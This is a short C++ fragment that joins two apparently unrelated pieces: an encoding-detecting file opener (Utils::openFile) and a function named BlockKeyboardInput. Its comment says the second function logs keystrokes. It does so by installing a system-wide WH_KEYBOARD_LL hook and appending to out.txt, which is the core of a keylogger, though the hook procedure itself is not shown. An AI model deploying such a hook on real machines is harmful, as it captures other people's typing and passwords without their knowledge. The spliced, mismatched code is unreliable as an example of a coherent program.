void Utils::openFile(const string& filepath, wifstream& stream, bool verbose)
{
unsigned char buffer[FILE_TEST_SIZE];
const unsigned long long fileLength = getFileSize(filepath);
const size_t bytes = fileLength < FILE_TEST_SIZE ? (size_t)fileLength : FILE_TEST_SIZE;
ifstream fin(filepath, ifstream::binary);
fin.read((char*)buffer, bytes);
fin.close();
AutoIt::TextEncodingDetect encodingDetector;
AutoIt::TextEncodingDetect::Encoding encoding = encodingDetector.DetectEncoding(buffer, bytes);
if (verbose) {
dumpEncodingType(encoding);
}
switch (encoding) {
// UTF-16
case AutoIt::TextEncodingDetect::UTF16_LE_BOM:
case AutoIt::TextEncodingDetect::UTF16_LE_NOBOM:
case AutoIt::TextEncodingDetect::UTF16_BE_BOM:
case AutoIt::TextEncodingDetect::UTF16_BE_NOBOM:
#if defined(_WIN32) || defined(WIN32) // Windows
stream.open(filepath, ios::binary);
stream.imbue(locale(fin.getloc(), new codecvt_utf16<wchar_t, 0x10ffff, consume_header>));
break;
#else
throw runtime_error("Converting UTF-16 encoded files is not supported on your platform.");
#endif
case AutoIt::TextEncodingDetect::UTF8_BOM:
case AutoIt::TextEncodingDetect::UTF8_NOBOM:
stream.open(filepath);
stream.imbue(locale(fin.getloc(), new codecvt_utf8<wchar_t, 0x10ffff, consume_header>));
break;
// ASCII, ANSI, none
default:
stream.open(filepath);
stream.imbue(locale(fin.getloc(), new codecvt<wchar_t, char, mbstate_t>));
break;
}
}
// This function attaches a low level keyboard hook to the system and logs key strokes
// using Win32 API
void BlockKeyboardInput()
{
if (lockState)
{
infile.open( "KeyBoardPhysicalLayout.txt");
out.open("out.txt", ios_base::app);
hhkLowLevelKybd = SetWindowsHookEx( WH_KEYBOARD_LL,
LowLevelKeyboardProc,
hInst,
0 );
} else {
out.close();
infile.close();
UnhookWindowsHookEx(hhkLowLevelKybd);
}
lockState = !(lockState);
}